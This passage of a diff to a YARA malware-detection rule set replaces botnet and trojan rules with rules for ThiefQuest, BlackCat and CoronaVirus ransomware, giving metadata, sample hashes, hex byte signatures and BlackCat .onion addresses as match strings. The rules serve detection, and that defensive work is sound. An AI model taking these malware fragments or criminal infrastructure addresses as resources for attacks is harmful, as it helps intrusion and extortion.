E??EB??31??FF????E8????????FF????????????E8????????FF??????E8????????81??????????5F5B5DC2????31??50E8????????83????????????74??FF??????????5889????FF??????FF??????FF??????FF??????EB??EB??B8????????EB??31??83????C2????31??C2????5553BA????????83????C7????????????4A75??E8????????8B??????8D????E8????????83????????????0F84????????FF????E8????????89??01??89??????8B??????83????53E8????????89??????83????????74??68????????68????????FF??????FF??????E8????????89??3B??????75??8B??????83????538D??????5866??????FF??????5866??????FF??????5889????FF??????????5889??????8D??????508D??????5068????????68????????FF??????89??21??75??FF??????5889??????FF??????E8????????8B??????EB??31??FF????E8????????83????5B5DC2????31??50E8????????83????????????74??FF??????????5889????FF??????FF??????FF??????FF??????EB??EB??B8????????EB??31??83????C2????31??5050E8????????FF??????E8????????52E8????????5A50FF??????????8D??????????50E8????????8D??????50E8????????52E8????????5A5052E8????????5A50FF??????????8D??????????50E8????????E8????????01????E8????????8D??????50E8????????FF????8D??????????59E8????????74??52E8????????5A5052E8????????5A50FF??????????8D??????????50E8????????E8????????01????E8????????52E8????????5A5052E8????????5A50FF??????????8D??????????50E8????????E8????????01????E8????????588B??????52E8????????8D??????50E8????????EB??8B????52E8????????5A5052E8????????8B??????52E8????????8D??????50E8????????8B????52E8????????5A5052E8????????5850E8????????5A01??EB??E8????????66????????FF????E8????????FF??????E8????????83????C331??50E8????????83????????????74??FF??????????5889????FF??????FF??????FF??????FF??????FF??????FF??????FF??????FF??????FF??????FF??????FF??????EB??EB??B8????????EB??31??83????C2????555331??50505050E8????????C7??????????????FF??????E8????????89????8B????21??75??31??EB??8D??????50FF??????FF??????68????????E8????????89??21??75??8B????FF????5889??????68????????68????????FF??????E8????????FF????E8????????8B??????EB??31??83????5B5DC35331??50505050E8????????8B??????8D????E8????????FF????E8????????89??????8B??????83????53E8????????89??????83????????74??68????????FF??????FF??????FF??????E8????????21??74??FF??????FF??????68????????E8????????89??F7??89??????FF??????E8????????8B??????EB??31??FF????E8????????83????5BC2????31??50E8????????83????????????74??FF??????????5889????FF??????FF??????FF??????FF??????FF??????FF??????EB??EB??B8????????EB??31??83????C2????5553BA????????83????C7????????????4A75??E8????????8B??????8D????E8????????FF????8D??????????59E8????????74??31??E9????????52E8????????5A50FF??????????8D??????????50E8????????8B??????52E8????????8D??????50E8????????FF??????E8????????89??01??89??????8B??????83????53E8????????89??????83????????0F84????????68????????68????????FF??????FF??????E8????????89??3B??????0F85????????FF??????8D??????5866??????8B??????83????535866??????FF??????5889????C7??????????????8D??????????8D??????E8????????8D??????C7????????????C7????????????8D??????505889????68????????68????????8D??????508D??????5068????????8D??????50E8????????89??21??75??8B??????21??7E??B8????????EB??31??21??74??FF??????E8????????C7??????????????68????????68????????8D??????508D??????50FF??????E8????????89??21??75??8D??????FF????5889??????FF??????E8????????8B??????21??7E??FF??????E8????????8B??????EB??31??FF??????E8????????FF????E8????????83????5B5DC2????555357BA????????83????C7???????????? } condition: - uint16( 0 ) == 0x5a4d and filesize < 300KB and any of them + uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them } -rule TRELLIX_ARC_MALW_Fritzfrog : BOTNET FILE +rule TRELLIX_ARC_MALW_Thiefquest : KEYLOGGER BACKDOOR RANSOMWARE FILE { meta: - description = "Rule to detect Fritzfrog" - author = "Marc Rivero | McAfee ATR Team" - id = "4c553279-7e0c-5602-944d-ad8a47edf4ea" - date = "2020-08-20" - modified = "2020-08-20" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_fritzfrog.yar#L1-L26" + description = "Rule to detect the Evilquest/ThiefQuest malware" + author = "McAfee ATR Team" + id = "09b074f7-6899-574d-a7d6-4414509aaa78" + date = "2020-07-09" + modified = "2020-10-12" + reference = "https://www.bleepingcomputer.com/news/security/thiefquest-ransomware-is-a-file-stealing-mac-wiper-in-disguise/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_thiefquest.yar#L1-L46" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "488c807ecf0a9e981b2c1f2f5bb2e3072952d11f7cbf3a354bc85dc8e88b8b09" + hash = "5a024ffabefa6082031dccdb1e74a7fec9f60f257cd0b1ab0f698ba2a5baca6b" + logic_hash = "d40a466b12188d545d3fbe2c9d7e3685dde1250ae1f25df2a72cdf93c470ae25" score = 75 - quality = 70 - tags = "BOTNET, FILE" + quality = 68 + tags = "KEYLOGGER, BACKDOOR, RANSOMWARE, FILE" rule_version = "v1" - malware_type = "botnet" - malware_family = "Botnet:W32/Fritzfrog" - actor_type = "Cybercrime" - hash1 = "103b8404dc64c9a44511675981a09fd01395ee837452d114f1350c295357c046" + malware_type = "keylogger, backdoor, ransomware" actor_type = "Cybercrime" - actor_group = "Unknown" + malware_family = "Ransom:OSX/ThiefQuest" strings: - $pattern = { 7F454C4602010100000000000000000002003E000100000090D34500000000004000000000000000C8010000000000000000000040003800070040000D000300060000000400000040000000000000004000400000000000400040000000000088010000000000008801000000000000001000000000000004000000040000009C0F0000000000009C0F4000000000009C0F400000000000640000000000000064000000000000000400000000000000010000000500000000000000000000000000400000000000000040000000000083F23E000000000083F23E00000000000010000000000000010000000400000000003F000000000000007F000000000000007F00000000006C834500000000006C834500000000000010000000000000010000000600000000908400000000000090C400000000000090C4000000000060EC0400000000005809070000000000001000000000000051E574640600000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000080150465002A000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000100000006000000000000000010400000000000001000000000000083E23E00000000000000000000000000100000000000000000000000000000004100000001000000020000000000000000007F000000000000003F0000000000C0271B0000000000000000000000000020000000000000000000000000000000720000000300000000000000000000000000000000000000C0275A00000000007C000000000000000000000000000000010000000000000000000000000000004900000001000000020000000000000040289A000000000040285A0000000000D83600000000000000000000000000002000000000000000000000000000000053000000010000000200000000000000185F9A0000000000185F5A0000000000380D0000000000000000000000000000080000000000000000000000000000005D000000010000000200000000000000506C9A0000000000506C5A0000000000000000000000000000000000000000000100000000000000000000000000000067000000010000000200000000000000606C9A0000000000606C5A00000000000C172A0000000000000000000000000020000000000000000000000000000000070000000100000003000000000000000090C400000000000090840000000000004B0300000000000000000000000000200000000000000000000000000000001200000001000000030000000000000000DBC7000000000000DB87000000000050A101000000000000000000000000002000000000000000000000000000000018000000080000000300000000000000607CC90000000000607C890000000000D0E80100000000000000000000000000200000000000000000000000000000001D0000000800000003000000000000004065CB000000000040658B00000000001834000000000000000000000000000020000000000000000000000000000000270000000700000002000000000000009C0F4000000000009C0F00000000000064000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 } + $pattern_0 = { 01c1 48 83c102 48 } + $pattern_1 = { 8c1471 80c1c1 98 1c8c } + $pattern_2 = { d8974f0dc89a 9f c9 9adf70cd595390 } + $pattern_3 = { d897c56f028c 2393a0a42e92 8ea2c27affc2 f8 } + $pattern_4 = { 477006 baa6a1cb82 ae f9 e8???????? d8a32bd0d519 } + $pattern_5 = { d898ab5c757b 2f f26f 5d } + $pattern_6 = { bc007a846b 2b54adaf 93 35eddf38e6 cdd0 b246 } + $pattern_7 = { ae 49b00e 01d1 45da611b 44839db656691674 } + $pattern_8 = { 01c1 48 83c101 48 } + $pattern_9 = { 6be3c6 5c 99 ae ed bf370e2f47 } + $pattern_10 = { fd d7 43bd18fd6f06 7937 fa } + $pattern_11 = { 01c2 48 83c201 bf01000000 } + $pattern_12 = { d89825ed4469 29f1 5c e12d } + $pattern_13 = { d8992062f7f9 73ff 90 085fc6 } + $pattern_14 = { 01c1 6689ca 668995cefeffff e9???????? } + $pattern_15 = { 01c1 41 89c8 44 } + $pattern_16 = { d89935c487a7 bcdffa587c be6cadbb3c 185fc4 } + $pattern_17 = { 01c1 48 8b75a8 48 } + $pattern_18 = { 0000 48 8945f8 e9???????? } + $pattern_19 = { d89959d6472d a2???????? 3525c7eec9 95 } + $pattern_20 = { 01c2 48 83c203 bf01000000 } + $pattern_21 = { 4a7888 ab 23e7 cf 11f3 } + $pattern_22 = { d8982fbf222d 49 92 1d25b42bba } + $pattern_23 = { e2d7 8437 6b4696d9 92 9d a6 } condition: - uint16( 0 ) == 0x457f and filesize < 26000KB and all of them + 7 of them and filesize < 124322606 } -rule TRELLIX_ARC_Malw_Cutwail_Pdb : BOTNET FILE +rule TRELLIX_ARC_Ransom_Win_Blackcat : RANSOMWARE FILE { meta: - description = "Rule to detect cutwail based on the PDB" - author = "Marc Rivero | McAfee ATR Team" - id = "62058ff9-acb5-5f71-b6bb-4c64e51442ba" - date = "2008-04-16" - modified = "2020-08-14" - reference = "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/CUTWAIL" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_cutwail.yar#L1-L25" + description = "Detecting variants of Windows BlackCat malware" + author = " Trellix ATR" + id = "65483ffb-6b10-5fd5-8a5f-fc885a5f2e98" + date = "2022-01-06" + modified = "2022-01-19" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/Ransom_Win_BlackCat_public.yar#L2-L24" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "d702f823eefb50d9ea5b336c638f65a40c2342f8eb88278da60aa8a498c75010" - logic_hash = "f53626e6085509ddf9268b69e54a138e64cd5d3fbad119e6e9473179decd7927" + logic_hash = "8faad28ab26690221f6e2130c886446615dbd505f76490cfaf999d130d0de6e3" score = 75 quality = 70 - tags = "BOTNET, FILE" - rule_version = "v1" - malware_type = "botnet" - malware_family = "Botnet:W32/Cutwail" - actor_type = "Cybercrime" + tags = "RANSOMWARE, FILE" + malware_type = "Ransomware" + detection_name = "Ransom_Win_BlackCat" actor_group = "Unknown" strings: - $pdb = "\\0bulknet\\FLASH\\Release\\flashldr.pdb" + $URL1 = "zujgzbu5y64xbmvc42addp4lxkoosb4tslf5mehnh7pvqjpwxn5gokyd.onion" ascii wide + $URL2 = "mu75ltv3lxd24dbyu6gtvmnwybecigs5auki7fces437xvvflzva2nqd.onion" ascii wide + $API = { 3a 7c d8 3f } condition: - uint16( 0 ) == 0x5a4d and filesize < 440KB and any of them + uint16( 0 ) == 0x5a4d and filesize < 3500KB and 1 of ( $URL* ) and $API } -rule TRELLIX_ARC_Malw_Mangzamel_Trojan : TROJAN FILE +rule TRELLIX_ARC_Installer_Coronavirus : RANSOMWARE FILE { meta: - description = "Rule to detect Mangzamel trojan based on PDB" + description = "Rule to detect the Corona Virus Installer" author = "Marc Rivero | McAfee ATR Team" - id = "ca77180f-6133-5edb-a36b-78bc6f18d80c" - date = "2014-06-25" + id = "2a224529-bfc7-57ed-91c3-426cae4b7895" + date = "2020-03-25" modified = "2020-08-14" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mangzamel" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_mangzamel_trojan_pdb.yar#L1-L26" + reference = "https://twitter.com/malwrhunterteam/status/1238056503493505024" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_coronavirus.yar#L1-L41" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "4324580ea162a636b7db1efb3a3ba38ce772b7168b4eb3a149df880a47bd72b7" - logic_hash = "bab103c671445e0ea916fae290689d30d45021bdca58a495ebd3d6ca9ca55051" + hash = "5987a6e42c3412086b7c9067dc25f1aaa659b2b123581899e9df92cb7907a3ed" + logic_hash = "26be8bbfbf615967cc2a0e2d4179cd5f444c53f170a681d2ec236244881dc629" score = 75 - quality = 70 - tags = "TROJAN, FILE" + quality = 62 + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "trojan" - malware_family = "Trojan:W32/Mangzamel" + malware_type = "ransomware" + malware_family = "Ransom:W32/CoronaVirus" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $pdb = "\\svn\\sys\\binary\\i386\\agony.pdb" - $pdb1 = "\\Windows\\i386\\ndisdrv.pdb" + $s1 = { 61 63 68 65 6C 6C 69 65 73 40 68 6F 74 6D 61 69 6C 2E 63 6F 6D } + $s2 = { 74 6F 6A 65 6E 2E 6D 65 40 67 6D 61 69 6C 2E 63 6F 6D } + $s4 = { 77 61 6E 67 63 68 79 7A 40 67 6D 61 69 6C 2E 63 6F 6D } + $s5 = { 54 00 6F 00 64 00 6F 00 73 00 20 00 6C 00 6F 00 73 00 20 00 74 00 69 00 70 00 6F 00 73 00 20 00 64 00 65 00 20 00 69 00 6D 00 61 00 67 00 65 00 6E 00 7C 00 2A 00 2E 00 62 00 6D 00 70 00 3B 00 2A 00 2E 00 63 00 75 00 72 00 3B 00 2A 00 2E 00 64 00 69 00 62 00 3B 00 2A 00 2E 00 65 00 6D 00 66 00 3B 00 2A 00 2E 00 69 00 63 00 6F 00 3B 00 2A 00 2E 00 77 00 6D 00 66 00 7C 00 4D 00 61 00 70 00 61 00 73 00 20 00 64 00 65 00 20 00 62 00 69 00 74 00 73 00 20 00 28 00 2A 00 2E 00 62 00 6D 00 70 00 3B 00 2A 00 2E 00 64 00 69 00 62 00 29 00 7C 00 2A 00 2E 00 62 00 6D 00 70 00 3B 00 2A 00 2E 00 64 00 69 00 62 00 7C 00 49 00 63 00 6F 00 6E 00 6F 00 73 00 2F 00 63 00 75 00 72 00 73 00 6F 00 72 00 65 00 73 00 20 00 28 00 2A 00 2E 00 69 00 63 00 6F 00 3B 00 2A 00 2E 00 63 00 75 00 72 00 29 00 7C 00 2A 00 2E 00 69 00 63 00 6F 00 3B 00 2A 00 2E 00 63 00 75 00 72 00 7C 00 4D 00 65 00 74 00 61 00 61 00 72 00 63 00 68 00 69 00 76 00 6F 00 73 00 20 00 28 00 2A 00 2E 00 77 00 6D 00 66 00 3B 00 2A 00 2E 00 65 00 6D 00 66 00 29 00 7C 00 2A 00 2E 00 77 00 6D 00 66 00 3B 00 2A 00 2E 00 65 00 6D 00 66 00 7C 00 54 00 6F 00 64 00 6F 00 73 00 20 00 6C 00 6F 00 73 00 20 00 61 00 72 00 63 00 68 00 69 00 76 00 6F 00 73 00 20 00 28 00 2A 00 2E 00 2A 00 29 00 7C 00 2A 00 2E 00 2A 00 7C 00 7C 00 } + $s6 = { 48 00 54 00 4D 00 4C 00 5F 00 49 00 4D 00 47 00 23 00 49 00 44 00 52 00 5F 00 48 00 54 00 4D 00 5F 00 49 00 4D 00 41 00 47 00 45 00 53 00 5F 00 4C 00 49 00 5F 00 43 00 41 00 50 00 54 00 49 00 4F 00 4E 00 5F 00 48 00 4F 00 56 00 45 00 52 00 5F 00 50 00 4E 00 47 00 29 00 49 00 44 00 52 00 5F 00 48 00 54 00 4D 00 5F 00 49 00 4D 00 41 00 47 00 45 00 53 00 5F 00 53 00 42 00 5F 00 48 00 5F 00 53 00 43 00 52 00 4F 00 4C 00 4C 00 5F 00 50 00 52 00 45 00 56 00 5F 00 48 00 4F 00 56 00 45 00 52 00 5F 00 50 00 4E 00 47 00 31 00 49 00 44 00 52 00 5F 00 48 00 54 00 4D 00 5F 00 49 00 4D 00 47 00 5F 00 50 00 41 00 47 00 45 00 5F 00 54 00 49 00 54 00 4C 00 45 00 5F 00 49 00 43 00 4F 00 4E 00 5F 00 4D 00 45 00 4E 00 55 00 5F 00 4F 00 52 00 41 00 4E 00 47 00 45 00 5F 00 43 00 4C 00 4F 00 53 00 45 00 5F 00 50 00 4E 00 47 00 32 00 49 00 44 00 52 00 5F 00 48 00 54 00 4D 00 5F 00 49 00 4D 00 47 00 5F 00 50 00 41 00 47 00 45 00 5F 00 54 00 49 00 54 00 4C 00 45 00 5F 00 49 00 43 00 4F 00 4E 00 5F 00 4D 00 45 00 4E 00 55 00 5F 00 50 00 41 00 49 00 44 00 5F 00 53 00 45 00 54 00 54 00 49 00 4E 00 47 00 53 00 5F 00 50 00 4E 00 47 00 } + $s7 = { 25 73 5C 6C 6F 67 5F 25 30 34 64 25 30 32 64 25 30 32 64 5F 25 64 2E 6C 6F 67 } condition: - uint16( 0 ) == 0x5a4d and filesize < 360KB and any of them + uint16( 0 ) == 0x5a4d and filesize < 3000KB and all of them } -rule TRELLIX_ARC_Shifu : FINANCIAL +rule TRELLIX_ARC_Ransomware_Coronavirus : RANSOMWARE FILE { meta: - description = "No description has been set in the source file - Trellix ARC" - author = "McAfee Labs" - id = "81e9ad25-1df0-5196-be8b-1d1d5d8e4387" - date = "2026-02-01" + description = "Rule to detect the Corona Virus ransomware" + author = "Marc Rivero | McAfee ATR Team" + id = "4195a57b-cd51-5050-861a-6436f7ec4eca" + date = "2020-03-25" modified = "2020-08-14" - reference = "https://blogs.mcafee.com/mcafee-labs/japanese-banking-trojan-shifu-combines-malware-tools/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_Shifu.yar#L1-L24" + reference = "https://twitter.com/malwrhunterteam/status/1238056503493505024" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_coronavirus.yar#L43-L80" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "dfa6165f8d2750330c71dedbde293780d2bb27e8eb3635e47ca770ff7b9a9d63" + hash = "3299f07bc0711b3587fe8a1c6bf3ee6bcbc14cb775f64b28a61d72ebcb8968d3" + logic_hash = "2a7e1676a20f30b0cb0321579bb85e4836e2aee5f56b838d2ff2bec7a08c489f" score = 75 - quality = 70 - tags = "FINANCIAL" - malware_type = "financial" - malware_family = "Backdoor:W32/Shifu" + quality = 64 + tags = "RANSOMWARE, FILE" + rule_version = "v1" + malware_type = "ransomware" + malware_family = "Ransom:W32/CoronaVirus" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $b = "RegCreateKeyA" - $a = "CryptCreateHash" - $c = {2F 00 63 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 22 00 22 00 20 00 22 00 25 00 73 00 22 00 20 00 25 00 73 00 00 00 00 00 63 00 6D 00 64 00 2E 00 65 00 78 00 65 00 00 00 72 00 75 00 6E} - $d = {53 00 6E 00 64 00 56 00 6F 00 6C 00 2E 00 65 00 78 00 65} - $e = {52 00 65 00 64 00 69 00 72 00 65 00 63 00 74 00 45 00 58 00 45} + $s1 = { 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 } + $s2 = { 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 